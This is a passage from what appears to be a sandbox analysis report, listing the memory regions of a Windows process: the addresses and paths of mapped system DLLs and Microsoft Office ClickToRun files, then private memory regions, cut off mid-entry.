= "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 284 start_va = 0x7fef4d60000 end_va = 0x7fef4dc1fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 285 start_va = 0x7fef54d0000 end_va = 0x7fef5540fff entry_point = 0x7fef54d0000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 286 start_va = 0x7fef59c0000 end_va = 0x7fef59cbfff entry_point = 0x7fef59c0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 287 start_va = 0x7fef5ff0000 end_va = 0x7fef6063fff entry_point = 0x7fef5ff0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 288 start_va = 0x7fef6100000 end_va = 0x7fef62f1fff entry_point = 0x7fef6100000 region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll") Region: id = 289 start_va = 0x7fef6570000 end_va = 0x7fef6580fff entry_point = 0x7fef6570000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 290 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 291 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 292 start_va = 0x7fef8370000 end_va = 0x7fef8559fff entry_point = 0x7fef8370000 region_type = mapped_file name = "c2r64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll") Region: id = 293 start_va = 0x7fef8560000 end_va = 0x7fef8799fff entry_point = 0x7fef8560000 region_type = mapped_file name = "appvisvsubsystems64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll") Region: id = 294 start_va = 0x7fef8a90000 end_va = 0x7fef8aa8fff entry_point = 0x7fef8a90000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 295 start_va = 0x7fef8ab0000 end_va = 0x7fef8ac4fff entry_point = 0x7fef8ab0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 296 start_va = 0x7fef92e0000 end_va = 0x7fef931afff entry_point = 0x7fef92e0000 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll") Region: id = 297 start_va = 0x7fef93b0000 end_va = 0x7fef93b8fff entry_point = 0x7fef93b0000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 298 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 299 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 300 start_va = 0x7fef96b0000 end_va = 0x7fef9702fff entry_point = 0x7fef96b0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 301 start_va = 0x7fef9810000 end_va = 0x7fef98b6fff entry_point = 0x7fef9810000 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 302 start_va = 0x7fef98c0000 end_va = 0x7fef9914fff entry_point = 0x7fef98c0000 region_type = mapped_file name = "d3d10_1core.dll" filename = "\\Windows\\System32\\d3d10_1core.dll" (normalized: "c:\\windows\\system32\\d3d10_1core.dll") Region: id = 303 start_va = 0x7fef9920000 end_va = 0x7fef9953fff entry_point = 0x7fef9920000 region_type = mapped_file name = "d3d10_1.dll" filename = "\\Windows\\System32\\d3d10_1.dll" (normalized: "c:\\windows\\system32\\d3d10_1.dll") Region: id = 304 start_va = 0x7fefa530000 end_va = 0x7fefa74cfff entry_point = 0x7fefa530000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 305 start_va = 0x7fefa750000 end_va = 0x7fefaa65fff entry_point = 0x7fefa750000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 306 start_va = 0x7fefaa80000 end_va = 0x7fefaa82fff entry_point = 0x7fefaa80000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 307 start_va = 0x7fefaa90000 end_va = 0x7fefaa92fff entry_point = 0x7fefaa90000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 308 start_va = 0x7fefaaa0000 end_va = 0x7fefaaa2fff entry_point = 0x7fefaaa0000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 309 start_va = 0x7fefaab0000 end_va = 0x7fefaab2fff entry_point = 0x7fefaab0000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 310 start_va = 0x7fefaac0000 end_va = 0x7fefaac4fff entry_point = 0x7fefaac0000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 311 start_va = 0x7fefaad0000 end_va = 0x7fefaad4fff entry_point = 0x7fefaad0000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 312 start_va = 0x7fefaae0000 end_va = 0x7fefaae2fff entry_point = 0x7fefaae0000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 313 start_va = 0x7fefab90000 end_va = 0x7fefab93fff entry_point = 0x7fefab90000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 314 start_va = 0x7fefaba0000 end_va = 0x7fefaba3fff entry_point = 0x7fefaba0000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 315 start_va = 0x7fefabb0000 end_va = 0x7fefabb2fff entry_point = 0x7fefabb0000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 316 start_va = 0x7fefabc0000 end_va = 0x7fefabc3fff entry_point = 0x7fefabc0000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 317 start_va = 0x7fefabd0000 end_va = 0x7fefabd2fff entry_point = 0x7fefabd0000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll") Region: id = 318 start_va = 0x7fefabe0000 end_va = 0x7fefabe2fff entry_point = 0x7fefabe0000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 319 start_va = 0x7fefabf0000 end_va = 0x7fefabf2fff entry_point = 0x7fefabf0000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 320 start_va = 0x7fefac00000 end_va = 0x7fefac02fff entry_point = 0x7fefac00000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 321 start_va = 0x7fefac10000 end_va = 0x7fefac12fff entry_point = 0x7fefac10000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll") Region: id = 322 start_va = 0x7fefac20000 end_va = 0x7fefac22fff entry_point = 0x7fefac20000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 323 start_va = 0x7fefac30000 end_va = 0x7fefad21fff entry_point = 0x7fefac30000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 324 start_va = 0x7fefad30000 end_va = 0x7fefad33fff entry_point = 0x7fefad30000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 325 start_va = 0x7fefad40000 end_va = 0x7fefad55fff entry_point = 0x7fefad40000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 326 start_va = 0x7fefb590000 end_va = 0x7fefb59afff entry_point = 0x7fefb590000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 327 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 328 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 329 start_va = 0x7fefb800000 end_va = 0x7fefb814fff entry_point = 0x7fefb800000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 330 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 331 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 332 start_va = 0x7fefbd80000 end_va = 0x7fefbd94fff entry_point = 0x7fefbd80000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 333 start_va = 0x7fefbda0000 end_va = 0x7fefbdabfff entry_point = 0x7fefbda0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 334 start_va = 0x7fefbdb0000 end_va = 0x7fefbdc5fff entry_point = 0x7fefbdb0000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 335 start_va = 0x7fefbee0000 end_va = 0x7fefbef0fff entry_point = 0x7fefbee0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 336 start_va = 0x7fefbf10000 end_va = 0x7fefc039fff entry_point = 0x7fefbf10000 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 337 start_va = 0x7fefc040000 end_va = 0x7fefc074fff entry_point = 0x7fefc040000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 338 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 339 start_va = 0x7fefc290000 end_va = 0x7fefc4a4fff entry_point = 0x7fefc290000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 340 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 341 start_va = 0x7fefc510000 end_va = 0x7fefc63bfff entry_point = 0x7fefc510000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 342 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 343 start_va = 0x7fefcb80000 end_va = 0x7fefcbabfff entry_point = 0x7fefcb80000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 344 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 345 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 346 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 347 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 348 start_va = 0x7fefd0c0000 end_va = 0x7fefd10bfff entry_point = 0x7fefd0c0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 349 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 350 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 351 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 352 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 353 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 354 start_va = 0x7fefd5f0000 end_va = 0x7fefd611fff entry_point = 0x7fefd5f0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 355 start_va = 0x7fefd620000 end_va = 0x7fefd66dfff entry_point = 0x7fefd620000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 356 start_va = 0x7fefd980000 end_va = 0x7fefd9a2fff entry_point = 0x7fefd980000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 357 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 358 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 359 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 360 start_va = 0x7fefdb30000 end_va = 0x7fefdb6cfff entry_point = 0x7fefdb30000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 361 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 362 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 363 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 364 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 365 start_va = 0x7fefdd20000 end_va = 0x7fefdd59fff entry_point = 0x7fefdd20000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 366 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 367 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 368 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 369 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 370 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 371 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 372 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 373 start_va = 0x7fefee80000 end_va = 0x7feff0d8fff entry_point = 0x7fefee80000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 374 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 375 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 376 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 377 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 378 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 379 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 380 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 381 start_va = 0x7feff6e0000 end_va = 0x7feff857fff entry_point = 0x7feff6e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 382 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 383 start_va = 0x7feff870000 end_va = 0x7feff999fff entry_point = 0x7feff870000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 384 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 385 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 386 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 387 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 388 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 389 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 390 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 391 start_va = 0x7fffff70000 end_va = 0x7fffff7ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 392 start_va = 0x7fffff80000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 393 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 394 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 395 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 396 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 397 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 398 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 399 start_va = 